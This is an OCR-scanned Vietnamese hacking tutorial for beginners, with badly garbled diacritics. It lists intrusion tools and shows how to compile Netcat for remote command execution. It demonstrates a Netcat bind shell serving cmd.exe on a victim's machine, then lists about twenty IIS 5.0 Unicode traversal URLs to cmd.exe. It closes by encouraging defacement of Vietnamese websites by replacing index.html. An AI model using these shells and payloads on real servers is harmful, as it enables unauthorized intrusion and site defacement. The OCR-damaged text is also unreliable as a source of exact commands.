D6i v6i cac hacker chuyén nghiép thi ho s& khong can sir dung nhiing céng cu nay ma ho
s& truc tiép setup phién ban ma trang Web nan nhan sir dung trén may ctia minh dé test
16i . Nhung dbi v6i cac ban méi “vao nghé” thi nhitng cong cu nay rat can thiét , hay sir
dung chiing mot vai 1an ban sé& biét cach phéi hop chiing dé viéc tim ra 13i trén cac trang
Web nan nhan dugc nhanh chong nhét . Sau day 1a mot s6 cong cu ban can phai co trén
may “lam an” cia minh :

Cong cu thir 1 : Mot cai proxy dung dé che dau IP va vuot tuong lira khi can ( Cach tao
1 c4i Proxy toi dd bay ¢ phan 7 , cdc ban hiy xem lai nhé ) .

Cong cu thir 2 : Ban can c6 1 shell account, cai nay thuc sy quan trong d6i voi ban . Mot
shell account tbt 1a 1 shell account cho phép ban chay cac chuong trinh chinh nhu
nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...va shell account d6 can phai cai
chuong trinh GCC ( rat quan trong trong viée dich (compile) cac exploit dugc viét bang
C) nhu MinGW, Cygwin va cac dev tools khac.

Shell account gan giéng véi DOS shell,nhung n6 ¢ nhidu cau 1énh va chirc nang hon
DOS . Thong thudng khi ban cai Unix thi ban s& ¢6 1 shell account, néu ban khong cai
Unix thi ban nén ding ky trén mang 1 shell account free hodc néu cé ai d6 cai Unix va
thiét 1ap cho ban 1 shell account thi ban c6 thé log vao telnet (Start -- > Run -- > g6
Telnet) dé ding shell account d6. Sau day 1a 1 sé dia chi ban c6 thé dang ky free shell
account :

http://www.freedomshell.com/

http://www.cyberspace.org/shell.html



http://www.ultrashell.net/

_Cong cu thtr 3 : NMAP 1a Cong cu quét cuc nhanh va manh. C6 thé quét trén mang dién
rong va dac biét tdt ddi voi mang don 1é&. NMAP gitp ban xem nhiing dich vu nao dang
chay trén server (services / ports : webserver , ftpserver , pop3,...),server dang dung hé
diéu hanh gi,loai twong lira ma server sir dung,...va rt nhiéu tinh ning khac.Noi chung
NMAP hd tro hiu hét cac ky thuat quét nhu : ICMP (ping aweep),IP protocol , Null scan
, TCP SYN (half open),... NMAP duoc danh gia 13 cong cu hang dau cua cac Hacker
ciing nhu cac nha quan tri mang trén thé gisi.

Moi thong tin vé NMAP ban tham khéo tai http://www.insecure.org/ .

_ Cong cuy thir 4 : Stealth HTTP Security Scanner la cong cu quét 16i bao mat tuyét voi
trén Win32. N6 co6 thé quét duge hon 13000 161 bao mat va nhan di¢n dugce 5000 exploits
khac.

_ Cong cu thir 5 : IntelliTamper 14 cong cu hién thi cau trac cia mot Website gdm nhing
thu muc va file nao, né c6 thé liét ké duoc ca thu muc va file co set password. Rét tién
cho viéc Hack Website vi trudc khi ban Hack mot Website thi ban phai ndm mot sd thong
tin cia Admin va Website do.

_ Cong cu thu 6 : Netcat 1a cong cu doc va ghi dir liéu qua mang thong qua giao thirc
TCP hoic UDP. Ban c6 thé ding Netcat 1 cach tryc tiép hodc sir dung chwong trinh script
khéc dé diéu khién Netcat. Netcat duge coi nhu 1 exploitation tool do no6 cé thé tao duoc
lién két gitta ban va server cho viéc doc va ghi dir liéu ( tat nhién 1a khi Netcat d3 duoc
cai trén 1 server bi 161 ). Moi thong tin vé Netcat ban c6 thé tham khao tai
http://www.10pht.com/ .

_ Cong cy thir 7 : Active Perl la cong cu doc cac file Perl dudi *.pl vi cac exploit thuong
duogc viét bang Perl . N6 con dugc sir dung dé thi hanh cac 1énh thong qua céc file *.pl .

_ Cong cy thir 8 : Linux 1 hé diéu hanh hau hét cac hacker déu sir dung.

_ Cong cy thir 9 : LOphtCrack 1a cong cu sé mot dé Crack Password cia Windows
NT/2000 .

_ Cach Download t6i da bay roi nén khong noi ¢ ddy , cac ban khi Download nhé chd y
dén cac phién ban cta ching , phién ban nio c6 sb 16n nhat thi cac ban hiy Down vé ma
sai vi nd s& ¢ thém mot s tinh ning ma cac phién ban trudc chua c¢6 . Néu down vé ma
cac ban khong biét sir dung thi tim lai cac bai viét cii 6 hudéng din bén Box “Do6 nghé” .
Néu van khong thiy thi cir post bai hoi , cac ban bén d6 sé& tra 11 cho ban .

48 . ) Huéng dan str dung Netcat :



a . ) Gidi thi¢u : Netcat 1a mdt cong cu khong thé thiéu duoc néu ban mudn hack mot
website nao do vi nd rat manh va ti¢én dung . Do d6 ban can biét mot chut vé Netcat .

b.) Bién dich :

_ Dbi v6i ban Netcat cho Linux, ban phai bién dich n6 trudce khi sir dung.

- hiéu chinh file netcat.c bang vi: vi netcat.c

+ tim dong res_init(); trong main() va thém vao trudc 2 dau */*: // res_init();

+ thém 2 dong sau vao phan #define (nim & dau file):

#define GAPING_SECURITY HOLE

#define TELNET

- bién dich: make linux
- chay thu: ./nc -h

- néu ban mudn chay Netcat bang nc thay cho ./nc, ban chi can hiéu chinh lai bién méi
truong PATH trong file ~/.bashrc, thém vao ;.

_ Ban Netcat cho Win khong can phai compile vi di c6 san file nhi phan nc.exe. Chi vay
giai nén va chay la xong.

¢ . ) Cac tuy chon cua Netcat :

_ Netcat chay & ché do dong Iénh. Ban chay nc -h dé biét cac tham sb:

CODE
C:>nc -h

connect to somewhere: nc [-options] hostname port[s] [ports] ...



listen for inbound: nc -1 -p port [options] [hostname] [port]
options:

-d —mmmeee- téc}} Netcat khoi ctra s6 1énh hay la console, Netcat s¢ chay & ché do
steath(khong hién thi trén thanh Taskbar)

-e prog --- thi hanh chuong trinh prog, thuong dung trong ché d6 ling nghe

e goi huéng dan

-1 secs ----- tri hodn secs mili giay trudc khi goi mot dong dir licu di

-l - dit Netcat vao ché do lang nghe dé cho cac két ndi dén

o budc Netcat "¢ ling nghe. N6 s& lang nghe trd lai sau mdi khi ngét mot
két noi.

D oo chi dung dia chi IP ¢ dang s6, chang han nhu 192.168.16.7, Netcat s& khong
tham van DNS

-0 =—--mmmmmme- file ghi nhat ki vao file

-p port ----- chi dinh cong port

-s addr ----- gid mao dia chi IP ngu(‘Sn la addr

R khong goi cac thong tin phy di trong mot phién telnet. Khi ban telnet dén
moét telnet daemon(telnetd), telnetd thuong yéu cau trinh telnet client cia ban goi dén cac
thong tin phy nhu bién méi truong TERM, USER. Néu ban sir dung netcat voi tiy chon -t
dé telnet, netcat s& khong goi cac thong tin ndy dén telnetd.

U —mmmmmmmmeen dung UDP(mac dinh netcat dung TCP)
R — hién thi chi tiét cac thong tin vé két ndi hién tai.
“VV mmmmmmmeen s& hién thi thong tin chi tiét hon nita.

-w secs ---- dit thoi gian timeout cho mdi két noi 1a secs mili gidy

-7 mmmmmmmmmmem ché d6 zero 10, thuong dugce s dung khi scan port



Netcat ho trg pham vi cho sé hiéu cong. Ch phap 1a congl-cong2. Vi du: 1-8080 nghia 1a
1,2,3,..,8080

d .) Tim hiéu Netcat qua cac VD :

_ Chop banner cua web server :

Vi du: nc dén 172.16.84.2, cong 80

CODE

C:>nc 172.16.84.2 80

HEAD / HTTP/1.0 (tai day ban gd Enter 2 lan)

HTTP/1.1 200 OK

Date: Sat, 05 Feb 2000 20:51:37 GMT

Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod _ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1

Connection: close

Content-Type: text/html

Dé biét thong tin chi tiét vé két ndi, ban c6 thé dung —v ( -vv s&

cho biét cac thong tin chi tiét hon nita)



C:>nc-vv 172.16.84.1 80

CODE

172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open

HEAD /HTTP/1.0

HTTP/1.1 200 OK

Date: Fri, 04 Feb 2000 14:46:43 GMT

Server: Apache/1.3.20 (Win32)

Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "'0-cec-3899eaea™

Accept-Ranges: bytes

Content-Length: 3308

Connection: close

Content-Type: text/html

sent 17, rcvd 245: NOTSOCK

Néu muén ghi nhat ki, hay ding -o . Vi du:

nc -vv -o nhat ki.log 172.16.84.2 80

xem file nhat ki.log xem thir n6 da ghi nhiing gi nhé :



CODE

< 00000000 48 54 54 50 231 2e 31 20 32 30 30 20 4f4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2¢ 20 30 34 20 46 # .Date: Fri, 04 F

< 00000020 65 62 20 323030302031 34 3a35303a3534#eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 3229 0d 0a 4c 61 73 74 2d 4d 61 64 69 66 69 # 32)..Last-Modifi

< 00000060 65 64 3220 54 68 75 2¢ 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb

< 00000070 32 3030 302032 30 3a 3534 3a 30322047 4d #2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: *"0-cec-
< 00000090 33 38393965 61 6561 22 0d 0a 41 63 63 65 70 # 3899¢eaea’"..Accep
<000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.

< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6¢e 67 74 68 3a # .Content-Length:
<000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6¢ 65 63 74 69 6f # 3308..Connectio
<000000d0 6e 3a 20 63 6¢ 6173 65 0d 0a 43 6f 6e 74 65 6¢ # n: close..Conten
<000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm

< 00000010 6¢ 0d 0a 0d Oa # 1....

dau < nghia la server goi dén netcat

dau > nghia la netcat goi dén server



_ Quét cong :
Ban hiy chay netcat vdi tily chon —z . Nhung dé quét cong nhanh hon, ban hiy dung -n vi

netcat s& khong can thAm vin DNS. Vi du dé scan cac cong TCP(1-> 500) cta host
172.16.106.1

CODE
[dt@vicki /J# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open

(UNKNOWN) [172.16.106.1] 23 (?) open

néu ban can scan cac cong UDP, dung -u

CODE
[dt@vicki /J# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open

(UNKNOWN) [172.16.106.1] 111 (?) open



_ Bién Netcat thanh mét trojan :
Trén may tinh cua nan nhén, ban khoi dong netcat vao ché do lang nghe, dung tuy chon —
1 (listen ) va -p port dé xac dinh s0 hiéu cong can ling nghe, -e d¢ yéu cau netcat thi hanh

1 chuong trinh khi ¢6 1 két ndi dén, thuong 1a shell 1énh cmd.exe ( dbi voi NT) hodc
/bin/sh(doi véi Unix). Vi du:

CODE

E: >nc -nvv -1 -p 8080 -e cmd.exe

listening on [any] 8080 ...

connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159

sent 0, rcvd 0: unknown socket error

Trén mdy tinh dung dé tin cong, ban chi viéc dung netcat ndi dén may nan nhan trén
cong da dinh, chang han nhu 8080

CODE

C:>nc -nvv 172.16.84.2 8080

(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

E: > cd test

cd test



E: est > dir /w

dir /'w

Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E: est

[.]1[..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes

2 Dir(s) 191,488,000 bytes free

C: est > exit

exit

sent 20, rcvd 450: NOTSOCK

Nhu céc ban da thay , ta c6 thé lam nhiing gi trén may ctia nan nhan roi , chi can mdt s
1énh co ban , ta da chiém dugc may tinh ctia d6i phuong , cac ban hay xem ti€p nhé :

CODE
E: >nc -nvv -L -p 8080 -e cmd.exe

listening on [any] 8080 ...?

?



Riéng dbi v6i Netcat cho Win, ban c6 thé ling nghe ngay trén cong dang ling nghe. Chi
can chi dinh dia chi nguon 1a -s<dia chi ip cua may nay>. Vi du:

CODE

netstat -a

TCP nan_nhan:domain nan_nhan:0 LISTENING <- cong 53 dang ling nghe

E: > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lang nghe ngay trén cong 53
listening on [172.16.84.1] 53 ...

connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?

?

Trén Windows NT, dé dit Netcat ¢ ché d6 ling nghe, khong can phai c6 quyén
Administrator, chi can login vao véi 1 username binh thuong khoi dong Netcat 1a xong.

Chu ¥: ban khong thé chay netcat voi ... -u -e cmd.exe... hodc ...-u -e /bin/sh... vi netcat s&
khong lam viéc diing. Néu ban mudn c6 mot UDP shell trén Unix, hay dung udpshell
thay cho netcat.

( Dya theo bai viét cia huynh Vicky )

49 . ) K¥ thuat hack IIS server 5.0 :

__IIS server véi cac phién ban tir trudc dén phién ban 5.0 déu c6 16i dé ta c6 thé khai thac
, do bay gio hau hét moi ngudi déu dung IIS server 5.0 nén 101 ¢ cac phién ban trudc to1



khong dé cap dén . Bay gio toi s& bay cac ban cach hack thong qua cong cu activeperl va
IE , cac ban c6 thé van dung cho céc trang Web & VN vi ching bi 101 nay rat nhiéu . Ta
hdy bat dau nhé .

_ Trudc hét cac ban hiy download activeperl va Unicode.pl .

_ St dung telnet dé xac dinh trang Web ta tin cong c6 str dung IIS server 5.0 hay khong :

CODE
telnet < tén trang Web > 80

GET HEAD / HTTP/1.0

Néu no khong bao cho ta biét myc tiéu dang sir dung chuong trinh gi thi cac ban hiy thay
doi cong 80 bang cac cong khac nhu 8080, 81, 8000, 8001 .v.v...

_ Sau khi da xac dinh dugc muc tiéu cac ban vao DOS go :

CODE
perl unicode.pl
Host: ( gd dia chi server ma cac ban mudn hack )

Port: 80 ( hodac 8080, 81, 8000, 8001 tuy theo céng ma ta da telnet trudc do ) .

_ Céac ban s& thdy bang liét ké 18i ( d dugc 1ap trinh trong Unicode.pl ) nhu sau :

CODE

[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+



[2]/scripts..%c1%9c¢../winnt/system32/cmd.exe?/c+

[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+

[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+

[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+

[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+

[8] /scripts/..%c1%9c¢../winnt/system32/cmd.exe?/c+

[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+

[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+

[12] /scripts/..%18%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%1c%80%80%80%80%af../winnt/system32/cmd.exe?/c+

[14]/msadc/.\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.e
xe?/ct

[15])/cgi-
bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+

[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?ct

[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.e
xe?/ct

[18]/_vti_cnf/..%c0%atf..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?c+

[19]/ vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?ct

[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.e
xe?/ct+



Cac ban s¢ thdy duoc tat ca cac 16i trén néu trang Web nan nhén bj tat ca nhimg 16i nhur
vay , néu server ctia nan nhén chi bj 16i thir 13 va 17 thi bang két qua chi xuat hién dong
thr 13 va 17 ma thoi .

T6i lay VD la bang két qua cho t6i biét trang Web nan nhan bi 11 thir 3 va 7 , t6i s& ra IE
va nhdp doan ma tuong ung trén Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == 15i dong thir
3

hodc

http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == 15i dong thir
7

Pén day cac ban da co thé xam nhép vao server cua nan nhan 10i d6 , cac ban hay su
dung I¢nh trong DOS ma khai thac thong tin trong nay . Thong thuong cac trang Web
nam ¢ thu muc vinetpubwwwroot , cac ban vao dugc 10l thi chi can thay index.html v61
tén hack by .... La dugc roi , dimg quay ho nhé .



